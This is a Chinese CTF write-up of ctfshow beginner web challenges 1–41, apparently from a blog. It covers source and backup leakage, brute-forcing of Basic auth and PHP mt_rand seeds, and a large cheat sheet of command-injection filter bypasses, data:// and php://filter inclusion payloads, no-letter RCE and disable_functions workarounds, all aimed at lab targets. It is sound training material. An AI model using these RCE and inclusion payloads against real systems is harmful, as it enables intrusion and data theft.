ctfshow刷题web入门--1--ljcsd

文章目录

ctf.show

。信息搜集

web1

开发注释未及时删除


考点:源码的查看

查看源码:

web2

js前台拦截 === 无效操作

考点:查看源代码

web3

考点:查看返回包

没思路的时候抓个包看看,可能会有意外收获

web4

考点:robots.txt

总有人把后台地址写入robots,帮黑阔大佬们引路。

查看robots.txt

访问/flagishere.txt

web5

考点:index.phps

phps源码泄露有时候能帮上忙

访问index.phps,下载文件,

查看文件

web6

考点:www.zip

解压源码到当前目录,测试正常,收工

访问www.zip,下载文件

查看文件

访问fl000g.txt

web7

考点:/.git/

版本控制很重要,但不要部署到生产环境更重要。

访问/.git/

web8

考点:/.svn/

版本控制很重要,但不要部署到生产环境更重要。

访问/.svn/

web9

考点:vim源码泄露

发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了

下载文件

读文件

web10

考点:Cookie

cookie 只是一块饼干,不能存放任何隐私数据

查看Cookie

URL解码

web11

考点:域名解析 壹

域名其实也可以隐藏信息,比如flag.ctfshow.com 就隐藏了一条信息

域名解析查询

参考:

https://blog.csdn.net/weixin_58546222/article/details/128179469

web12

考点:公开信息作为秘密

有时候网站上的公开信息,就是管理员常用密码

访问robots.txt

访问/admin/,是一个登录页面

根据题目提醒,在网站中寻找

账号:admin 密码:372619038

web13

考点:默认密码文件

技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码

查看源代码后发现可疑的pdf

访问网站输入账号密码

默认用户名:admin 默认密码:admin1103

web14

考点:/editor

有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人

访问/editor

可以读取文件

访问目录var>www>html>nothinghere>fl000g.txt

web15

考点:/admin 查QQ

公开的信息比如邮箱,可能造成信息泄露,产生严重后果

登录后台:

php 复制代码
http://cc4d00f1-644d-4266-9ea4-4b603f7c86c9.challenge.ctf.show/admin/

点击忘记密码,发现要填写密保

查qq看一下有没有信息

查到地址

密码重置

登录

web16

考点:tz.php

对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露

访问tz.php就会出现服务器的实时状态

可以点击PHP信息

搜索到flag

web17

考点:backup.sql

备份的sql文件会泄露敏感信息

backup.sql

下载一个文件

查找ctfshow{

web18

考点:其实应该是前端js题目[window.confirm()]

不要着急,休息,休息一会儿,玩101分给你flag

判断出游戏是前端游戏

在js文件搜索window.confirm

直接执行

php 复制代码
window.confirm("\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b");

弹窗提示我们访问110.php

web19

考点:前端泄露源码

密钥什么的,就不要放在前端了

在前端找到源码

php 复制代码
error_reporting(0);
    $flag="fakeflag"
    $u = $_POST['username'];
    $p = $_POST['pazzword'];
    if(isset($u) && isset($p)){
        if($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){
            echo $flag;
        }
}

直接输进去是错的,抓个包看一下

发现传进去密码就改了,在bp里再修改一下password

web20

考点:/db/db.mdb

mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。

访问/db/db.mdb

下载文件

读文件,搜索ctfshow

。爆破

。知识

1.1 播种随机数生成器-mt_srand

mt_srand(seed);

mt_srand函数只要规定了种子,其得到的伪随机数就是确定的

提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数。

。参考

111111
222222
333333

web21--重点

考点:

Basic access authentication

爆破

爆破什么的,都是基操

抓包

base64解密后发现账号密码的形式为 账号:密码

根据提示我们使用题目所给字典爆破

此题主要考察Basic access authentication爆破

1:假设已知用户名是admin

2:打开代理和Burp Suite,随便输入密码尝试登陆同时利用Burp Suite抓包。

3:已知:Authorization请求头用于验证是否有从服务器访问所需数据的权限。得到Authorization: Basic YWRtaW46YWRtaW4= 可以看到他数据包是通过加密发送的,并且前面有Basic 进行base64解码查看格为admin:密码

4:查看Authorization请求头观察发现是base64编码 我们将请求包发送到intruder中,选择sniper模式。选择base64内容Authorization: Basic YWRtaW46YWRtaW4=,添加为playload position

5:然后payload选择Custom iterator,根据已知格式,我们设置第一组payload位账号:admin,第二组一个冒号:,第三组密码:密码字典。 接下来设置Payload Processing的base64加密,点击add,选择encode>Base64-encode,最后将PayLoad Encoding取消选择urlencode加密特殊字符串

  • (1)
  • (2)
  • (3)

6:进行爆破,找到长度不同的即为正确答案。为base64加密后的用户名、密码,进行解密

7:登录,找到flag。

web22--做不出来

考点:

域名爆破

域名也可以爆破的,试试爆破这个ctf.show的子域名

解题思路:

该题失效,爆破不出来

域名爆破地址

参考:

https://blog.csdn.net/qq_52841086/article/details/130608019

web23

考点:

python脚本满足条件

还爆破?这么多代码,告辞!

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 11:43:51
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?>

代码要求get传入的token经过md5加密后,第1位=第14位=第17位并且(第1位+第14位+第17位)/第1位=第31位,可以写一个python脚本跑一下,应该有很多种可能。

python 复制代码
import hashlib
from itertools import product

charset = '0123456789abcdefghijklmnopqrstuvwxyz'

for i, j in product(charset, repeat=2):
    combination = (i + j).encode('utf-8')
    md5_hash = hashlib.md5(combination).hexdigest()

    # Check conditions
    first_char = int(md5_hash[1], 16)
    second_char = int(md5_hash[14], 16)
    third_char = int(md5_hash[17], 16)
    last_char = int(md5_hash[31], 16)

    if first_char == second_char == third_char and (first_char + second_char + third_char) / first_char == last_char:
        print(combination.decode('utf-8'))
        
#结果:3j

输出结果3jZE

web24

考点:mt_srand播种随机数生成器

爆个🔨

php 复制代码
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}
?>

解题思路:

mt_srand() 函数播种 Mersenne Twister 随机数生成器。

审计代码,当mt_srand(372619038)函数生成的随机数等于参数r时,得到flag

那么使用php代码运行查看mt_srand(372619038)运行结果

php 复制代码
<?php
highlight_file(__FILE__);
mt_srand(372619038);
echo(mt_rand());
?>

华为云中才运行出来:1155388967

payload:

php 复制代码
/?r=1155388967

web25

考点:

知道了第一个随机数返回查找种子
考点:

一个种子,在同一个脚本中,生成的不同次序的随机数大小不同

爆个🔨,不爆了

php 复制代码
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}
?>
  • r=1的时候rand=-1833303828
    mt_rand()=r-rand=1833303829
  • 然后kali运行脚本./php_mt_seed 1833303829
php 复制代码
脚本使用方法为:

kali下,进入目录,`make` 
`./php_mt_seed` 第一个随机数  

题目环境是7.3.11

我用的是第一个php7.1.0+版本的种子然后

执行下面的代码也得在php7上下的环境执行,得出来的结果才能符合条件

php 复制代码
<?php
mt_srand(691241187);
echo mt_rand()."\n";
echo mt_rand()+mt_rand();
?>

返回1364458235 2375999758

web26

这个可以爆

我做着这道题感觉挺奇怪的,抓包,然后发包就可以得到flag了

web27

考点:

爆破身份证号中的日期--年月日

CTFshow菜鸡学院招生啦!

有录取名单,有学生信息查询,有账号密码,盲猜用录取名单里的信息查询学生信息,然后登录获得flag

打开名单

然后我们打开查询界面,准备爆破第一位小同志

爆破成功

把最后一串数据放到控制台解码

输入账号密码,得flag

我一直登录失败

web28

大海捞针

考点:

bp暴力破解网站目录
疑点:

最后的/有时加与不加影响不同吧!

需要结合题目所给提示和url,先将文件2.txt去掉,直接爆破一级目录和二级目录


状态码为200的目录存在flag

。。。命令执行

。知识

1 绕过

正则表达式要素提取--较完整的脚本

python 复制代码
import re

# 输入的字符串
input_string = "flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\("

# 使用正则表达式匹配并拆分字符串
pattern = re.compile(r'\|')
result_list = re.split(pattern, input_string)

# 创建一个字典,将带有\的字符串中的\删除
result_dict = {item: item.replace('\\', '') for item in result_list}

# 遍历字典并打印结果,设置不换行
for key, value in result_dict.items():
    if value == ' ':
        print('空格', end=' ')
    else:
        print(value, end=' ')

#flag system php cat sort shell . 空格 ' ` echo ; ( 

1.1 字符绕过

1 只过滤了flag字符串

1.通配符绕过
php 复制代码
`*`


星号(*)可以使用星号代替0个或多个字符.

?c=system('cat f*'); 


`?`


问号(?)可以使用问号代替一个字符.

?c=system('cat fla?????');
2 重造变量
php 复制代码
$_GET  $_POST


?c=system($_GET['a']);&a=cat flag.php;

?c=eval($_GET[1]);&1=system('nl flag.php');


include


?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
3.一对单引号
php 复制代码
''

?c=echo `cat fl''ag.php`;  //反引号功能是执行系统命令
4.一对双引号
php 复制代码
""

?c=echo `cat fl''ag.php`;  //反引号功能是执行系统命令
5 转义字符绕过
php 复制代码
\

?c=echo `nl fl\ag.php`;
6 中括号绕过--自己瞎取的名字
php 复制代码
[aaa]*

咱不懂[]中的字母应该有多少个,多少种,经测试多一点没有事,少了不行

?c=echo(`nl%09fl[abcdefg]*`);
7 十六进制--\x-
php 复制代码
\x


""必须加上,不能是''


c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()

?c="\x73\x79\x73\x74\x65\x6d"("nl%09\x66\x6c\x61\x67\x2e\x70\x68\x70");
等价于system(), flag.php 

2 过滤了;

1 重造变量--?>
php 复制代码
include   ?>   


小知识:include不用括号,分号可以用?>代替。

`data伪协议`若要进行`base64加密`,则`?>前`的PHP语句得加上`";"`, 否则报错

c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

1.2 空格过滤

%09   <  <>  ${IFS}

$IFS$9  {cat,fl*}

$IFS

1 table--%09

php 复制代码
%09--table

?c=echo`tac%09fl*`;

2 ${IFS}

php 复制代码
${IFS}

?c=less${IFS}fl*g.php||

3 $IFS$9

php 复制代码
$IFS$9

?c=less$IFS$9fl*g.php||

4 <

php 复制代码
`<`

?c=nl<fla''g.php||

5 <>

php 复制代码
`<>`

?c=nl<>fla''g.php||

6 $IFS

php 复制代码
$IFS

?c=echo`nl$IFS*`%0A

1.3 命令执行函数

1 system

php 复制代码
system

?c=system('cat f*')

2 ``

php 复制代码
``

?c=echo `cat fl''ag.php`;

3 passthru

php 复制代码
passthru

?c=passthru("tac%09f*");

4 exec

php 复制代码
exec


返回

命令执行结果的最后一行内容


?c=echo%20exec('cat%20f*');

5 shell_exec

php 复制代码
shell_exec


返回

命令执行的输出


?c=echo shell_exec('cat%20f*');

6 popen

php 复制代码
`popen  fread`


popen()函数可以执行系统命令, 但不会输出执行的结果, 而是返回一个资源类型的变量用来存储系统命令的执行结果, 需要配合fread()函数来读取命令的执行结果

$result = popen( 'ls' , 'r' );
        参数1:字符串类型,需要执行的命令
        参数2:字符串类型,模式
        返回值:资源类型,命令执行的结果
echo fread( $result , 100 );
        参数1:资源类型,需要读取的文件指针
        参数2:int类型,读取n个字节
        返回值:字符串类型,读取的文件内容


?c=echo fread(popen('ls','r'),100);

1.4 文件读取命令

php 复制代码
more    less	   tac	  cat       tail
nl 	    od	       vi	  vim	   sort
uniq	strings

1 cat

php 复制代码
cat


?c=echo `cat fl''ag.p''hp`';

2 tac

php 复制代码
tac


从最后一行开始显示,可以看出 tac 是 cat 的反向显示


?c=passthru("tac%09f*");

3 nl

php 复制代码
nl


显示的时候,顺便输出行号


?c=passthru("nl%09`ls`");

4 more

php 复制代码
more


一页一页的显示档案内容


?c=echo`more%09f*`;

5 less

php 复制代码
less


一页一页的显示档案内容


?c=echo`less%09f*`;

6 head

php 复制代码
`head`


查看头几行


?c=echo`head%09f*`;

7 tail

php 复制代码
`tail`


查看尾几行


?c=echo`tail%09f*`;

8 vi

php 复制代码
vi


?c=echo`vi%09f*`;

9 uniq

php 复制代码
uniq


echo`uniq%09f*`;

10 strings

php 复制代码
strings


?c=echo`strings%09f*`;

1.5 php自带函数--无参rce差不多

1

php 复制代码
show_source(next(array_reverse(scandir(pos(localeconv())))));

2

php 复制代码
还有其他姿势:
首先print_r(scandir(dirname(__FILE__)));查看当前目录下文件
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

1.6 无参RCE

无参RCE

1.7 输出定向截断

php 复制代码
>/dev/null 2>&1,让所有的输出流(包括错误的和正确的)都定向到空设备丢弃

所以需要把后面截断`; %0a(换行符)`,后面不用多说了吧,还可以用`%26(&)以及||`

1 ;

php 复制代码
`;`

?c=cat flag.php;

2 %0a(换行符,得为URL编码)

php 复制代码
`%0a`

?c=cat flag.php%0a

3 %26(&,得为URL编码)

php 复制代码
`%26`

?c=cat flag.php%26

4 ||

php 复制代码
`||`

?c=cat flag.php||

1.8 无数字字母rce

CTF-WEB-无数字字母rce

1.9 其他读取文件思路

(1)mv

php 复制代码
#使用mv将flag.php文件移动到其他文件 然后访问文件拿到flag
  #移动后原来文件就空了
     ?c=mv${IFS}fla?.php${IFS}a.txt

(2)使用执行文件目录

php 复制代码
#执行文件目录+?来绕过被过滤的命令
?c=/bin/?at${IFS}f???????

1.10 无字母rce

(1)利用bin目录

bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php

使用base64对flag.php进行加密同时使用?绕过字母的限制

php 复制代码
?c=/???/????64%20????.???  # /bin/base64 flag.php

(2)利用/usr/bin目录

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、newaliases、nslookup passwd、quota、smb*、wget等。
我们可以利用/usr/bin下的bzip2 意思就是说我们先将flag.php文件进行压缩,然后再将其下载,下载后记得解压再看
php 复制代码
先?c=/???/???/????2 ????.???   # /urs/bin/bzip2 flag.php 
然后在url + /flag.php.bz2 下载文件
#解压后查看

(3)上传临时文件

system

无字母数字的命令执行

burpsuit

看链接

脚本

python 复制代码
#多尝试几次:最后一位可能不是大写字母
#注意:创造循环失败了

import requests
url="http://9e663758-139f-4313-bee5-18323f84f4a9.challenge.ctf.show/?c=. /???/????????[@-[]"
files={'file':'ls'}
response=requests.post(url,files=files)
html = response.text
print(html)

正常传参

脚本

python 复制代码
#多尝试几次:最后一位可能不是大写字母
#注意:创造循环失败了

import requests
url="http://xxx/test.php?c=?><?=`. /???/????????[@-[]`;?>"
files={'file':'ls'}
response=requests.post(url,files=files)
html = response.text
print(html)

1.11 构造数字

位运算符详解

双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。
通俗地讲,就是将数学运算表达式放在((和))之间。
 
表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。
 
可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。
 
可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。
 
注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。

$(())是0
 
$((~$(())))是-1
 
$(($((~$(())))$((~$(())))))是-2
 
这里要构造36,也就是要先构造出-37 然后取反
 
-37是37个$((~$(())))相加
 
最终payload
?c=$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))

1.12 绕过disable function

(1) 查看目录

php 复制代码
查看目录
# 1
c=var_dump(scandir("/"));
# 2                                                       
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
# 3
c=$a=scandir("/");foreach($a as $value){echo $value."---";}
# 4 glob() 函数返回匹配指定模式的文件名或目录。返回的是数组
c=$a=glob("/*");foreach($a as $value){echo $value."   ";}
# 5 
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

(2) 高亮显示

php 复制代码
高亮显示php文件
函数
show_source()
highlight_file()
用法:
show_source("flag.php");               
highlight_file("flag.php");            

(3) 单一函数读文件内容

php 复制代码
单一函数读文件内容:
函数:
file_get_contents()
readfile()
file()
用法:
echo file_get_contents("flag.php");           //过58
readfile("flag.php");                         //过58
print_r(file("flag.php"));                    //过59

(4) 通过复制,重命名读取php文件

php 复制代码
通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
函数:
copy()
rename()
用法:
copy("flag.php","flag.txt");             //过60
rename("flag.php","flag.txt");           //过60

(5) fopen

php 复制代码
通过fopen读文件内容:
函数:
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
用法:
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;}       //php7.3版本后 该函数已不再被使用
$a=fopen("flag.php","r");echo fpassthru($a);                                      //过59
$a=fopen("flag.php","r");echo fread($a,"1000");                                   //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}        //过59
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}        //过60
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);pri#nt_r($line);}  //过60

(6) 文件包含

php 复制代码
包含文件
函数:
include()
require()

php伪协议
include('php://filter/convert.base64-encode/resource=flag.php');
require('php://filter/convert.base64-encode/resource=flag.php');

后面是txt文件,直接用include直接包含就能显示flag
用法:
include("/flag.txt");  //过66-70
require("/flag.txt");  //过66-70

。参考链接

111

222

333

ctfshow web入门58-77绕过disable function

无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)

web29

考点:

字符过滤

php 复制代码
<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
php 复制代码
payload:

?c=system(%27ls%27);

查看源码发现只过滤了flag字符串,(通配符绕过)

php 复制代码
?c=system('cat f*'); 

也可以使用重造变量的方法来读取flag

php 复制代码
?c=system($_GET['a']);&a=cat flag.php;

使用双引号过滤

php 复制代码
?c=echo `cat fl''ag.php`;  //反引号功能是执行系统命令
php 复制代码
通配符
payload1:c=system("nl fla?????");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl""ag.php`;
payload4:c=echo `nl fl\ag.php`;//转义字符绕过
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
payload6:c=eval($_GET[1]);&1=system('nl flag.php');
payload7:c=awk '{printf $0}' flag.php||
还有很多姿势,毕竟等于没过滤

web30

考点:

字符过滤

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag,system,php

system()

passthru()

exec()

shell_exec()

popen()

proc_open()

pcntl_exec()

反引号 同shell_exec()

使用引号绕过

php 复制代码
paylaod:

?c=echo `ls`;

?c=echo `cat fl''ag.p''hp`';

web31

考点:

过滤字符,.,',空格

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag,system,php,cat,sort,shell,.,空格,'

php 复制代码
payload:

?c=echo%09`ls`;

重造变量

php 复制代码
?c=eval($_GET[1]);&1=echo `tac flag.php`;

passthru

php 复制代码
payload

?c=passthru("nl%09`ls`");
php 复制代码
c=eval($_GET[1]);&1=system('nl flag.php');
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo(`nl%09fl[abc]*`);
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`; 必须加转义字符


还有其他姿势:
首先print_r(scandir(dirname(__FILE__)));查看当前目录下文件
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

web32

考点:

过滤

flag system php cat sort shell . 空格 ' ` echo ; (

疑点:
data伪协议若要进行base64加密,则?>前的PHP语句得加上";", 否则报错

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤

php 复制代码
flag system php cat sort shell . 空格  ' ` echo ; (

小知识:include不用括号,分号可以用?>代替。

php 复制代码
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

web33

考点:

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

又过滤了一个双引号

继续用上一题的伪协议思路即可

web34

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

又过滤了冒号

继续用32题的伪协议思路即可

web35

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

又过滤了< =

继续使用32题的

web36

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

新增了0-9数字的限制

传参的内容改为字母即可

php 复制代码
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

c=include$_GET[a]?>&a=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[a]?>&a=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

web37

考点:

文件包含--伪协议/ 日志文件

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}
php 复制代码
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
//编码是<?php system('cat flag.php');?>
//或者
?c=data://text/plain,<?php system('cat fla*');?>


通过包含日志文件拿shell--不太明白
?c=/var/log/nginx/access.log

web38

考点:

又过滤了php和file

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

又过滤了php和file

php 复制代码
?c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4=


也可以日志包含
?c=/var/log/nginx/access.log

web39

考点:

自动加上.php

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

自动为我们增加了后缀php,但依旧可以data协议

data://text/plain, 这样就相当于执行了php语句,因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

php 复制代码
?c=data://text/plain,<?= system("cat fla*");?>

web40

考点:

无参rce

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

数字和字符都过滤了,我们只能用英文字母,无参rce

php 复制代码
print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));

web41--难死我了

考点:

或运算绕过--|
重点+疑点:

POST传参自动进行了一次URL解码,我对浏览器上传数据编码还很陌生,碰到了再说吧

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

看不懂,就知道是因为有|

php 复制代码
用法 python exp.py <url>

上面用的是自动脚本,python代码里传参就完成了

如果用的是浏览器,会被卡住

  • (1)初始状态,抓包发现会给你进行一次url编码


  • (2)自己进行一次url编码后,就不会给你url编码了

  • - ②

